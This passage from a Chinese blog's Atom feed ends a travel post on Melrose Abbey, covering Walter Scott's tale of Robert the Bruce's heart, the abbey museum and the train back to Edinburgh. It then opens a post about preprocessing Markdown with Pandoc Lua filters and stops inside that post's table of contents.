house&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;下面也不是不可能。至于王的身体呢？不在这，得北上去法夫找&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Dunfermline
Abbey。&lt;&#x2F;p&gt;
&lt;p&gt;Walter
Scott&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;在给他孙子的苏格兰历史里写过心脏的故事&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-7&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-7-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-7-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[7]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-7-content&quot;&gt;&lt;a rel=&quot;external&quot; href=&quot;http:&#x2F;&#x2F;www.walterscott.lib.ed.ac.uk&#x2F;etexts&#x2F;etexts&#x2F;grandfather1.PDF&quot;&gt;TG11-174,
TALES OF A GRANDFATHER, chap. 11, pp.
171-176&lt;&#x2F;a&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;Robert
the
Bruce&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;将死时召集亲信，躺在床上罗列了一生的错误——尤其是在教堂里杀死另一个王位继承人的事。如果他能活下来，他要夺回耶路撒冷来赎罪。但他要死了，所以要求自己最亲近的朋友与最勇敢的战士，James
Douglas&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;把自己的心脏带到耶路撒冷。James
Douglas&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;痛哭流涕，接下了这项任务。他把防腐处理后的心脏放进定做的银质盒子，用丝绸与金链挂在脖子上，向巴勒斯坦进发。在西班牙，格拉纳达的苏丹正在入侵&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Alphonso&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的领地。Alphonso&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;热烈欢迎了路过西班牙的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Douglas，并告诉&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Douglas&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;在前往耶路撒冷前先把格拉纳达人赶跑才是更好地服务基督教。Douglas&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;照做，并顺利击破格拉纳达军队。然而由于不熟悉摩尔人的战法，苏格兰人乘胜追击后反被对方大喊着“Allah
illah
Allah”包抄。Douglas&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;看到有一个战友身陷重围，说“Yonder
worthy knight will be slain, unless he have instant
help&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;，疾驰过去解围——结果自己也被围得无力回天。只见他摘下&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Bruce&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的心脏盒子，对着它——就像对着还活着的国王一样——说“Pass
first in fight, as thou wert wont to do, and Douglas will follow, thee,
or
die.”随后&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Douglas&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;把盒子扔向敌阵，冲向落点，被杀，尸体覆盖在盒子上面。许多苏格兰人死于这场战役，剩下的决定停止远征，打道回府。Douglas&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;遗骨被埋在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;church
of St
Bride，而&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Bruce&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的心脏被埋在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Melrose
Abbey&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的祭坛下面。运回心脏的骑士把&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;commons.wikimedia.org&#x2F;wiki&#x2F;File:HallbarLockhartArms.jpg#&#x2F;media&#x2F;File:HallbarLockhartArms.jpg&quot;&gt;上锁的心脏作为纹章&lt;&#x2F;a&gt;，改名&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Lockheart，后演变成&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Lockhart&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-8&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-8-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-8-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[8]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-8-content&quot;&gt;博物馆里说&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Robert
the
Bruce&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;只要求带着他的心脏和异教徒战斗。而带回心脏的骑士叫&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;William
Keith，不是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Scott&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;说那位改名的骑士。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;p&gt;
&lt;p&gt;这位&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Walter
Scott&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;很喜欢&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Melrose
Abbey，他附近的房子&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Abbotsford&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;就是以这座修道院为灵感建造的。&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;院长浅滩”的名字也来源于僧侣们跨过&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Tweed&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;河的浅滩。1573&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Melrose
Abbey&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的僧侣起诉&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Walter
Scott&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;拆毁教堂并带走石块、木材、铅、玻璃等材料——Scott&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;不愧为英国人呐。讽刺的是导览书最后致谢了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Walter
Scott&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;对保护&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Melrose
Abbey&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;做出的贡献：他的故居和作品为修道院吸引了大量游客。Waverley&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;车站旁的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Scott&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;纪念塔，也从&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Melrose
Abbey&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;中汲取了灵感。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;博物馆&quot;&gt;博物馆&lt;&#x2F;h2&gt;
&lt;p&gt;修道院被一条马路分成了两部分。一侧的主体是那进不去的建筑，另一侧的主体是一个作为博物馆的两层小楼。博物馆虽小，人兽神雕塑、砖块、陶器一应俱全，弥补了不能进大殿的遗憾。然而更遗憾的是我们进去时快关门了，所以看得很着急。二楼正对楼梯有个人脸神似鲍里斯・约翰逊——管理员也这么认为。由于拍得很急，出现了运动的感觉。我将这张照片命名为《打喷嚏的鲍里斯&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;。整个馆最珍贵的藏品，则是十三世纪的小猪佩奇陶片。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns c9-16&quot;&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220827_170022.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220827_170022.80c503ba44ad11cf.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220827_170022.817c9a64835e2e70.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220827_170022.5667cae46e4dc058.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220827_170022.817c9a64835e2e70.webp&quot;
	alt=&quot;打喷嚏的鲍里斯&quot;
	
	
	height=&quot;4000&quot;
	width=&quot;3000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220827_165222.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220827_165222.94c9e68c26f84daa.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220827_165222.5606022cbd27ddec.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220827_165222.345ef0b8064702f1.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220827_165222.5606022cbd27ddec.webp&quot;
	alt=&quot;十三世纪的小猪佩奇陶片&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;开个玩笑，我觉得最珍贵的应该是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;John
Morow&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;死后树立的刻字板。因为我喜欢文字胜过雕塑。图中左侧为复原品，右侧为原品。现代英语译文是：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;I was called John Morow, born in Paris and was in charge of the mason
work of St Andrews, the high Kirk of Glasgow, Melrose and Paisley also
Nithsdale and Galloway. I pray to God and Mary and sweet St John to
keep this holy kirk from harm.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220827_165321.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220827_165321.10417b8a2a4d3226.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220827_165321.8345578753aa118e.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220827_165321.7ca6b7c67356dffc.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220827_165321.8345578753aa118e.webp&quot;
	alt=&quot;The John Morow Panel&quot;
	
	
	height=&quot;1251&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;John
Morow&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;还留下了另一块石板，应该在不能进入的主建筑内：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;As the compass goes evenly about, so truth and loyalty shall do
without doubt. Look to the end quoth John Morrow.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;说到石匠，博物馆入口有很多砖石碎块。介绍板说上面有石匠的个人标记，建造者据此发工钱。不过几百年来标记已经模糊不清，管理员也找了一会，我的手机也拍不出来。&lt;&#x2F;p&gt;
&lt;p&gt;博物馆里还展出了一些一世纪的陶器碎片，因为不远处的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Newstead&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;有一座罗马堡垒。Agricola&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;80&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年把罗马边疆推进到苏格兰低地，图密善觉得他功高盖主，急忙召回了罗马。随着来了又走的罗马人，堡垒也是建了又毁。下次我得去一趟&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.trimontium.co.uk&#x2F;about&#x2F;trimontium-fort&quot;&gt;那堡垒的博物馆&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;这座修道院属于熙笃会，熙笃会成员常传未染色的长袍，所以被称为白僧侣。博物馆二楼最深处可以试穿白袍——感觉布料质量不行。&lt;&#x2F;p&gt;
&lt;p&gt;一些藏品：&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220827_165925.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220827_165925.971a00558ff3ca13.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220827_165925.606e5578773af127.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220827_165925.838fed4c24e985e4.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220827_165925.606e5578773af127.webp&quot;
	alt=&quot;Floor tiles set in a pattern&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220827_164009.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220827_164009.2022f14c0f2920a5.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220827_164009.33a06255c400c33a.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220827_164009.c0c2bee4ebdd6954.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220827_164009.33a06255c400c33a.webp&quot;
	alt=&quot;Four corbels&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220827_164027.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220827_164027.29e1d2bd6a361555.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220827_164027.6a9aa0a59cc097d3.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220827_164027.b9f8dd98efae807f.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220827_164027.6a9aa0a59cc097d3.webp&quot;
	alt=&quot;Virgin and child, St Paul, St Andrew, St Peter&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;修道院五点下班，我们一小时速通完毕。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;回爱丁堡&quot;&gt;回爱丁堡&lt;&#x2F;h2&gt;
&lt;p&gt;在火车站等车时空气中弥漫着一股马粪味，明明来的时候还没有，不知道为什么。&lt;&#x2F;p&gt;
&lt;p&gt;五号站台的蓝色列车是我们来回坐的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;ScotRail，右边写着&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Azuma&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的应该是伦敦到爱丁堡的“&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.seat61.com&#x2F;london-to-edinburgh-by-train.htm#train&quot;&gt;飞翔的苏格兰人&lt;&#x2F;a&gt;&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;。Azuma&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;19&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年日立建造的，名字也是日语。英国，弱呀。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns c9-16&quot;&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220827_183135.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220827_183135.661cbeea60ae1eec.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220827_183135.958b751fb227037d.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220827_183135.d1e3d8a519e169aa.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220827_183135.958b751fb227037d.webp&quot;
	alt=&quot;归途中窗外的景色&quot;
	
	
	height=&quot;4000&quot;
	width=&quot;3000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220827_191914.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220827_191914.d704709453340622.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220827_191914.d8a47d028a6c4406.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220827_191914.a5af4cd19625cdf8.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220827_191914.d8a47d028a6c4406.webp&quot;
	alt=&quot;Waverley的五号、六号站台&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;这几天爱丁堡在办艺术节、军乐节，环卫工人决定罢工。这样的垃圾堆随处可见。太美丽了，爱丁堡！&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220827_192044.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220827_192044.011a740243a8a4fa.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220827_192044.ec99051507bcf3f5.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220827_192044.c0ced45984b13227.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220827_192044.ec99051507bcf3f5.webp&quot;
	alt=&quot;海量的垃圾&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;



      
&lt;div lesspub&gt;
    &lt;br&gt;
    &lt;p&gt;
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&#x2F;assets&#x2F;ablobcatdundundun.gif&quot;
            style=&quot;width:1.2em;transform:translateY(.2em)&quot;
	    loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;复制以下链接，并粘贴到你的&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon、Misskey或&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GoToSocial&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等应用的搜索栏中，即可搜到对应本文的嘟文。对嘟文进行的点赞、转发、评论，都会出现在本文底部。快去试试吧！
    &lt;&#x2F;p&gt;
    
    &lt;p&gt;
        链接：https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;melrose-abbey
        &lt;button onclick=&quot;navigator.clipboard.writeText(&#x27;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;melrose-abbey&#x27;);document.getElementById(&#x27;url-btn&#x27;).innerText=&#x27;复制成功&#x27;&quot;
            id=&#x27;url-btn&#x27;&gt;复制地址&lt;&#x2F;button&gt;
    &lt;&#x2F;p&gt;

    





    





    




&lt;&#x2F;div&gt;

    </content>
  </entry>
  <entry xml:lang="zh-hans">
    <title>用Pandoc把Markdown转成Markdown</title>
    <published>2022-08-22T21:57:41+01:00</published>
    <updated>2023-02-26T12:24:48+00:00</updated>
    <author>
      <name>马鲛鱼</name>
    </author>
    <link href="https://emptystack.top/pandoc-as-markdown-preprocessor/" type="text/html" />
    <id>https://emptystack.top/pandoc-as-markdown-preprocessor/</id>
    <content type="html">
      &lt;p&gt;很多软件都支持&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Markdown，但它们支持的程度各不相同。虽然有&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;CommonMark&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;作为大一统的标准，但它功能太少不够用。我想要一种功能完全，可以扩展的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Markdown&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;方言，一次编写，到处渲染。&lt;&#x2F;p&gt;
&lt;p&gt;好消息是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;CommonMark&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;HTML&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的超集，而&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;21&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;世纪必备软件&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Pandoc&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;自带&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Lua&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;解释器。所以，我可以用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Pandoc&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;配合&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Lua&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;代码（Pandoc
filters）把拥有我个人想要的功能的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Markdown，转换为&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;CommonMark +
HTML&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;碎片。这样就得到了完全自己做主的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Markdown&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;方言。&lt;&#x2F;p&gt;
&lt;p&gt;因为依赖于&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Pandoc
filters，而且输入输出都是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Markdown，所以我把这套流程称为“用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Pandoc&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;把&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Markdown&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;转成&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Markdown&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;
&lt;h2&gt;目录&lt;&#x2F;h2&gt;
&lt;ul&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;pandoc-as-markdown-preprocessor&#x2F;#更智能的softbreak&quot;&gt;更智能的softbreak&lt;&#x2F;a&gt;
        
        &lt;ul&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;pandoc-as-markdown-preprocessor&#x2F;#east_asian_line_breaks扩展&quot;&gt;east_asian_line_breaks扩展&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;pandoc-as-markdown-preprocessor&#x2F;#softbreak.lua&quot;&gt;softbreak.lua&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
        &lt;&#x2F;ul&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;pandoc-as-markdown-preprocessor&#x2F;#注音标记：ruby.lua&quot;&gt;注音标记：ruby.lua&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;pandoc-as-markdown-preprocessor&#x2F;#自动插入中西文混排的间距&quot;&gt;自动插入中西文混排的间距&lt;&#x2F;a&gt;
        
        &lt;ul&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;pandoc-as-markdown-preprocessor&#x2F;#什么时候需要插入间距&quot;&gt;什么时候需要插入间距&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;pandoc-as-markdown-preprocessor&#x2F;#插入什么样的间距&quot;&gt;插入什么样的间距&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;pandoc-as-markdown-preprocessor&#x2F;#autospace.lua&quot;&gt;autospace.lua&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
        &lt;&#x2F;ul&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;pandoc-as-markdown-preprocessor&#x2F;#标点挤压&quot;&gt;标点挤压&lt;&#x2F;a&gt;
        
        &lt;ul&gt;
            
            &lt;li&gt;
